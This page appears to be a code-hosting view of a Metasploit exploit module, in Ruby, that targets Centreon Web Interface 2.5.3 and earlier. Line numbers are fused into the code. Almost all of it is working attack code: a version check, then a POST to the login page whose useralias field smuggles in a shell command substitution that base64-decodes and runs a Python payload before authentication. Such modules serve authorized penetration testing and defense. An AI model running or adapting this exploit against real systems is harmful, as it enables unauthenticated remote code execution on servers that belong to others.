Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/centreon_useralias_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6include Msf::Exploit::Remote::HttpClient78Rank = ExcellentRanking9def initialize(info = {})10super(11update_info(12info,13'Name' => 'Centreon Web Useralias Command Execution',14'Description' => %q(15Centreon Web Interface <= 2.5.3 utilizes an ECHO for logging SQL16errors. This functionality can be abused for arbitrary code17execution, and can be triggered via the login screen prior to18authentication.19),20'Author' =>21[22'h00die <[email protected]>', # module23'Nicolas CHATELAIN <[email protected]>' # discovery24],25'References' =>26[27[ 'EDB', '39501' ]28],29'License' => MSF_LICENSE,30'Platform' => ['python'],31'Privileged' => false,32'Arch' => ARCH_PYTHON,33'Targets' =>34[35[ 'Automatic Target', {}]36],37'DefaultTarget' => 0,38'DisclosureDate' => '2016-02-26'39)40)4142register_options(43[44Opt::RPORT(80),45OptString.new('TARGETURI', [ true, 'The URI of the Centreon Application', '/centreon/'])46], self.class47)48end4950def check51begin52res = send_request_cgi(53'uri' => normalize_uri(target_uri.path, 'index.php'),54'method' => 'GET'55)56/LoginInvitVersion"><br \/>[\s]+(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+<\/td>/ =~ res.body5758if version && Rex::Version.new(version) <= Rex::Version.new('2.5.3')59vprint_good("Version Detected: #{version}")60Exploit::CheckCode::Appears61else62Exploit::CheckCode::Safe63end64rescue ::Rex::ConnectionError65fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")66end67end6869def exploit70begin71vprint_status('Sending malicious login')72send_request_cgi(73'uri' => normalize_uri(target_uri.path, 'index.php'),74'method' => 'POST',75'vars_post' =>76{77'useralias' => "$(echo #{Rex::Text.encode_base64(payload.encoded)} |base64 -d | python)\\",78'password' => Rex::Text.rand_text_alpha(5)79}80)8182rescue ::Rex::ConnectionError83fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")84end85end86end878889